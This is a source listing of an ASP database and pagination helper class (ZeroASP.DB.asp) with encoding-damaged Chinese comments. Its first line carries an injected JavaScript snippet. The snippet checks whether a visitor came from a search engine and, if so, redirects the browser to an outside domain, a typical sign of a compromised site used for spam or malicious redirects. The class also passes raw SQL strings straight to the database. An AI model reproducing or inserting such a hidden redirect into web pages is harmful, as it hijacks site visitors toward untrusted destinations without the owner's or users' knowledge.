d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.DB.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%
002: '######################################################################
003: '## ZeroASP.DB.asp
004: '## -------------------------------------------------------------------
005: '## Feature     :   ZeroASP Class
006: '## Author      :   Ayu(kinsc@139.com)
007: '## Update Date :   2018-11-09
008: '## Description :   ZeroASP Extend Class
009: '##
010: '######################################################################
011:
012: Class ZeroASP_DB
013:
014:    Private RowsAffected
015:    Private ADCmdText
016:    Private Sql_Times '用于计算SQL执行次数的变?
017:
018:    Private Sub Class_Initialize()
019:       Dim ZeroASP_DB
020:       ZeroASP_DB = "ZeroASP应用框架 - 扩展?
021:    End Sub
022:
023:    'ACCESS数据库引?
024:    Public Function Access(ByVal Path,ByVal Password)
025:       'Path 数据库地€,Password 数据库密?
026:       Dim ConnStr
027:       ConnStr = "Provider=Microsoft.JET.OLEDB.4.0;Data Source=" & Server.MapPath(Path) & ";Jet OLEDB:Database Password=" & Password & ";"
028:       Set Access = Zasp.DB.OpenConn(ConnStr)
029:    End Function
030:
031:    'MSSQL数据库引?
032:    Public Function Mssql(ByVal DbName,ByVal DbIP,ByVal DbUid,ByVal DbPwd)
033:       'DbUid 数据库登陆名,DbPwd 数据库密?DbName 数据库名?DbIP 数据库所在地€,如果是本地数据库则为:(local)
034:       Dim ConnStr
035:       ConnStr = "Provider=Sqloledb;Data Source=" & DbIP & ";Initial Catalog=" & DbName & ";Persist Security Info=True;User ID=" & DbUid & ";Password=" & DbPwd & ";Connect Timeout=900;"
036:       Set Mssql = Zasp.DB.OpenConn(ConnStr)
037:    End Function
038:
039:    'SQLITE数据库引?
040:    Public Function Sqlite(ByVal Path)
041:       'Path 数据库地€
042:       Dim ConnStr
043:       ConnStr = "Driver={SQLite3 ODBC Driver};Database=" & Server.MapPath(Path) & ";"
044:       Set Sqlite = Zasp.DB.OpenConn(ConnStr)
045:    End Function
046:
047:    'MYSQL数据库引?
048:     Public Function Mysql(ByVal DbName,ByVal DbIP,ByVal DbUid,ByVal DbPwd)
049:       'DbUid 数据库登陆名,DbPwd 数据库密?DbName 数据库名?DbIP 数据库所在地€,如果是本地数据库则为:localhost
050:       Dim ConnStr
051:       ConnStr = "Driver={Mysql ODBC 5.3 Unicode Driver};Server=" & DbIP & ";Database=" & DbName & ";Uid=" & DbUid & ";Password=" & DbPwd & ";"
052:       Set Mysql = Zasp.DB.OpenConn(ConnStr)
053:    End Function
054:
055:    '创建数据库连接对?
056:    Public Function OpenConn(ByVal ConnStr)
057:       '启动默认数据库连接对?
058:       Dim Conn
059:       Set Conn = Server.CreateObject("ADODB.Connection")
060:       Conn.Open ConnStr
061:       Conn.CommandTimeOut = 900 '连接超时
062:       Set OpenConn = Conn
063:    End Function
064:
065:    '数据库全部表€共使用大?
066:    Public Function UseSize(ByVal Data)
067:       Dim Data_1,Data_2,Size
068:       '获取对象数据库的€有数据表
069:       Set Data_1 = Data.Execute("select name from sysobjects where xtype='u' order by name")
070:       Do While Not Data_1.Eof
071:          '计算单表大小,默认单位为KB
072:          Set Data_2 = Data.Execute("sp_spaceused @objname = '" & Data_1(0) & "'")
073:          'rows:行数,代号1
074:          'reserved:数据库为该表分配的空间,代?
075:          'data:数据实际使用的空间,reserved肯定>=data,代?
076:          'index_size:索引使用的空间,代?
077:          'unused:为数据库中的对象保留但尚未使用的空间€量,大致等于reserved - data - index_size的€,代号5
078:          Size = Size + Int(Split(Data_2(3)," ")(0)) * 1024 '转换为KB单位进制
079:          Data_1.MoveNext
080:       Loop
081:       UseSize = Zasp.Base.GetSize(Size)
082:       Set Data_1 = Nothing
083:       Set Data_2 = Nothing
084:    End Function
085:
086:    '设置数据库对象,查询SQL语句
087:    Public Function Query(ByVal Conn,ByVal Sql)
088:       Set Query = Conn.Execute(Sql)
089:       Sql_Times = Sql_Times + 1
090:    End Function
091:
092:    '设置数据库对象,使用Rs记录集执行SQL语句,CursorType为游标类型,LockType为锁定类?
093:    Public Function Rs(ByVal Conn,ByVal Sql,ByVal CursorType,ByVal LockType)
094:       Set Rs = Server.CreateObject("Adodb.Recordset")
095:       Rs.Open Sql,Conn,CursorType,LockType
096:       Sql_Times = Sql_Times + 1
097:    End Function
098:
099:    '设置数据库对象,执行SQL语句
100:    Public Sub Exe(ByVal Conn,ByVal Sql)
101:       Call Conn.Execute(Sql)
102:       Sql_Times = Sql_Times + 1
103:    End Sub
104:
105:    '设置数据库对象,执行SQL语句带行数影?
106:    Public Function ExeRows(ByVal Conn,ByVal Sql)
107:       Call Conn.Execute(Sql,RowsAffected,ADCmdText)
108:       ExeRows = RowsAffected
109:       Sql_Times = Sql_Times + 1
110:    End Function
111:
112:    '执行SQL语句次数
113:    Public Function QueryTimes()
114:       QueryTimes = Sql_Times
115:    End Function
116:
117:    '分页引导预处?
118:    Public Function Load(ByVal Types)
119:       Select Case Types
120:       Case 1
121:          Topsum = Zasp.Base.Ec(Zasp.Req.Gets("top"))
122:          If Topsum = "" Then:Topsum = 1000
123:          Load = Topsum
124:       Case 2
125:          Limit = Zasp.Base.Ec(Zasp.Req.Gets("limit"))
126:          If Limit = "" Then:Limit = 15
127:          Load = Limit
128:       Case 3
129:          Pager = Zasp.Base.Ec(Zasp.Req.Gets("page"))
130:          If Pager = "" Then:Pager = 1
131:          Load = Pager
132:       Case 4 'page参数€要在URL€后一?
133:          URL = Zasp.Base.Ec(Zasp.Req.URL())
134:          If Instr(URL,"?") = 0 Then
135:             URL = URL & "?"
136:          Else
137:             If Instr(URL,"page=") > 0 Then
138:                URL = Mid(URL,1,InstrRev(URL,"page=") - 1) & ""
139:             Else
140:                URL = URL & "&"
141:             End If
142:          End If
143:          Load = Replace(URL,"amp;","")
144:       End Select
145:    End Function
146:
147:    '循环
148:    Public Function List(ByVal Data,ByVal Types)
149:       '1为开始位置,2为结束位置,3为€记?
150:       Dim Arr_NumI,Arr_NumS,floor,PageRecord,RequestPage,AllRecord,AllPage,SkipStart,SkipEnd
151:       Arr_NumS = Ubound(Data,2)'得到数组中数据的下标
152:       '自行根据€求修改每页记录数,URL的page参数为分页数'
153:       If Limit = "" Then:Limit = 10
154:       PageRecord = Limit '每页记录?
155:       '=====I/O优化分页处理机制(无需修改)====='
156:       RequestPage = Pager ''获取当前分页'
157:       If RequestPage = "" Then:RequestPage = 1 '为空默认1'
158:       If Not IsNumeric(RequestPage) Then:RequestPage = 1 '非数字默?'
159:       AllRecord = Arr_NumS + 1 '总记录数'
160:       AllPage = AllRecord / PageRecord'总分页数'
161:       If AllPage < 1 Then '无效赋予默认'
162:          AllPage = 1
163:       ElseIf AllPage > 1 and InStr(AllPage,".") > 0 Then '分页有小数点+1?
164:          AllPage = Split(AllPage,".")(0) + 1
165:       End If
166:       If Clng(RequestPage) < 1 Then:RequestPage = 1 '小于€小分页默?'
167:       If Clng(RequestPage) > AllPage Then:RequestPage = AllPage '大于€大分页默认MAX'
168:       '循环数据集机?
169:       If Clng(RequestPage) = 1 Or Clng(RequestPage) = "" Or Clng(RequestPage) < 1 Then 'URL传€空?1或€?'
170:          If AllPage = 1 Then'总分页只有一页,直接输出记录?
171:             SkipStart = 0
172:             SkipEnd = Arr_NumS
173:          Else '总分页不止一页,直接输出每页记录数,由于数组?€始,故要-1
174:             SkipStart = 0
175:             SkipEnd = Limit - 1
176:          End If
177:       ElseIf Clng(RequestPage) > 1 Then 'URL传€其他任意数'
178:          If Clng(RequestPage) = AllPage Then 'URL传€等于最后分页码'
179:             SkipStart = PageRecord * (AllPage - 1) '每页条数乘以总分页前€页数(AllPage10,则乘以9)'
180:             SkipEnd = Arr_NumS
181:          Else 'URL传€非€后一?
182:             SkipStart = PageRecord * (RequestPage - 1) '每页条数乘以(URL页数?)获得当前页开始数'
183:             SkipEnd = PageRecord * RequestPage - 1 '每页条数乘以URL页数?获得当前页结束数'
184:          End If
185:       End If
186:       '=====分页处理机制(无需修改)====='
187:       If Types = 1 Then:List = SkipStart
188:       If Types = 2 Then:List = SkipEnd
189:       If Types = 3 Then:List = AllPage
190:    End Function
191:
192:    Public Sub Page(ByVal Allpage,ByVal RequestUrl)
193:       Dim j
194:       Pager = Server.HtmlEncode(Trim(Zasp.Req.Gets("page")))
195:       If Pager = "" Then
196:          Pager = 1
197:       Else
198:          Pager = Clng(Pager)
199:       End If%
>
200:       <style type="text/css">
201:       .Zasp_Rs_Page{float:left;width:auto;height:30px;line-height:30px;text-align:center;font-size:13px;}
202:       .Zasp_Rs_Page a{display:block;float:left;color:#225081;border:1px #225081 solid;margin-right:5px;padding-left:11px;padding-right:11px;height:100%;background:#FFF;text-decoration:none;overflow:hidden;border-radius:2px;}
203:       .Zasp_Rs_Page a:hover{color:#FFFFFF;background:#225081;}
204:       .Zasp_Rs_Page a.Zasp_Rs_Page_Here{color:#FFFFFF;font-weight:bold;background:#225081;}
205:       </style>
206:       <div style="margin-top:10px;margin-left:10px;margin-bottom:10px;height:35px">
207:       <%
208:       If Pager = 1 Then
209:       %
>
210:          <div class="Zasp_Rs_Page"><a href="<%=RequestUrl%>page=1">&lt;&lt;</a></div><div class="Zasp_Rs_Page"><a href="<%=RequestUrl%>page=1">&lt;</a></div>
211:       <%
212:       Else
213:       %
>
214:          <div class="Zasp_Rs_Page"><a href="<%=RequestUrl%>page=1">&lt;&lt;</a></div><div class="Zasp_Rs_Page"><a href="<%=RequestUrl%>page=<%=Pager-1%>">&lt;</a></div>
215:       <%
216:       End If
217:       For j = Pager - 4 To Pager - 1
218:          If j > 0 Then%
>
219:             <div class="Zasp_Rs_Page"><a href="<%=RequestUrl%>page=<%=j%>"><%=j%></a></div>
220:          <%End If
221:       Next
222:       For j = Pager To Pager + 4
223:          If j <= Allpage Then
224:             If j = Pager Then
225:       %
>
226:                <div class="Zasp_Rs_Page"><a href="<%=RequestUrl%>page=<%=j%>" class="Zasp_Rs_Page_Here"><%=j%></a></div>
227:             <%
228:             Else
229:             %
>
230:                <div class="Zasp_Rs_Page"><a href="<%=RequestUrl%>page=<%=j%>"><%=j%></a></div>
231:             <%
232:             End If
233:          End If
234:       Next
235:       If Pager < Allpage Then
236:       %
>
237:          <div class="Zasp_Rs_Page"><a href="<%=RequestUrl%>page=<%=Pager+1%>">&gt;</a></div>
238:       <%
239:       Else
240:       %
>
241:          <div class="Zasp_Rs_Page"><a href="<%=RequestUrl%>page=<%=Pager%>">&gt;</a></div>
242:       <%
243:       End If
244:       %
>
245:          <div class="Zasp_Rs_Page"><a href="<%=RequestUrl%>page=<%=Allpage%>">&gt;&gt;</a></div><div class="Zasp_Rs_Page"><a href="#<%=Allpage%>"><%=Allpage%></a></div>
246:          <div style="clear:both"></div>
247:       </div>
248:    <%End Sub
249:
250: End Class
251: %
>
252:
253: